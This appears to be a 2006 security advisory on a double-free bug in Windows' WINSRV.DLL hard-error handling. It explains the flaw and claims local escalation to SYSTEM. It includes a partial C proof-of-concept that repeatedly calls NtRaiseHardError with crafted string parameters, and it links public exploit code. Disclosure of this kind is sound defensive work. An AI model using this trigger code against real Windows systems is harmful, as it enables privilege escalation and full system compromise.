Friday, 15 December 2006

NtRaiseHardError

Vendor:: Microsoft
Application:: Windows
  • Windows 2000
    Windows XP
    Windows 2003
    Windows Vista
Disclosed:: 15-12-06
Description::
A double-free vulnerability exists in WINSRV.DLL's handling of certain hard error messages that may be locally exploitable for the purpose of privilege escalation to SYSTEM.
Calling one of the MessageBox APIs with the MB_SERVICE_NOTIFICATION flag set invokes USER32.DLL!ServiceMessageBox, which communicates the message to the CSRSS.EXE process via the NtRaiseHardError native API with status 0x50000018. The message is passed to WINSRV.DLL!UserHardError, which calls UserHardErrorEx, which uses GetHardErrorText to fill out a "hard error information" structure describing the error.
GetHardErrorText first loops through the Unicode strings supplied with the error message, reading each from the originating process's memory and temporarily converting each to an ANSI string. If the ANSI string contains "\Device" or begins with "\??\", or if the error being handled is neither STATUS_VDM_HARD_ERROR (0xC000021D) nor STATUS_SERVICE_NOTIFICATION (0x40000018), the string parameter is replaced with its ANSI form and is marked for eventual deletion when GetHardErrorText does clean-up prior to returning.
Following this loop are three blocks of code responsible for handling STATUS_SERVICE_NOTIFICATION, STATUS_VDM_HARD_ERROR, and other non-matching errors. The first two blocks both improperly assume that their string parameters are in Unicode form and are not marked for deletion, and as a result, they prepare the strings for return to UserHardErrorEx by storing them in UNICODE_STRING local variables using RtlInitUnicodeString. After function clean-up, these UNICODE_STRING variables are copied into the hard error information structure that UserHardErrorEx will subsequently use to display the error. However, during clean-up, any string parameter that was converted and left in ANSI form is freed, meaning that the string pointers stored by the STATUS_SERVICE_NOTIFICATION or STATUS_VDM_HARD_ERROR handling code may be freed and yet still returned.
Some time later, after the message box has been displayed and closed, the string memory will be freed (again) via a call to RtlFreeUnicodeString in the function FreePhi. Successful exploitation of this vulnerability depends on controlling the contents of this memory and the surrounding heap at the time this second free occurs.
Exploit:: Vista
HANDLE e1,e11;
DWORD WINAPI tp1(LPVOID a){
LPVOID p[7];
DWORD d;
p[0]=p+3;
p[1]=p+5;
p[2]=0;
p[3]=(LPVOID)0x1B001AE;
p[4]=L"\\??\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
p[5]=(LPVOID)0x100010;
p[6]=L"erasmus1";
while(1){
WaitForSingleObject(e1,INFINITE);
NtRaiseHardError(0x40000018,3,3,p,0,&d);
SetEvent(e11);
}
return 0;
Prevention:: Arbitrary code execution as SYSTEM
This does allow for the attacker to elevate his/her privileges to SYSTEM, allowing for complete system compromise no matter what credentials were used launch this vulnerability.
Links::
Public PoC Code Disclosure (Denial of Service)[XP]
First Public PoC Code Disclosure - Russian (Denial of Service)[XP]
MSRC Blog Post
Public PoC Code Disclosure (Double-Free)[XP]
Public PoC Code Disclosure - Vista (Local SYSTEM Command Shell)[VISTA]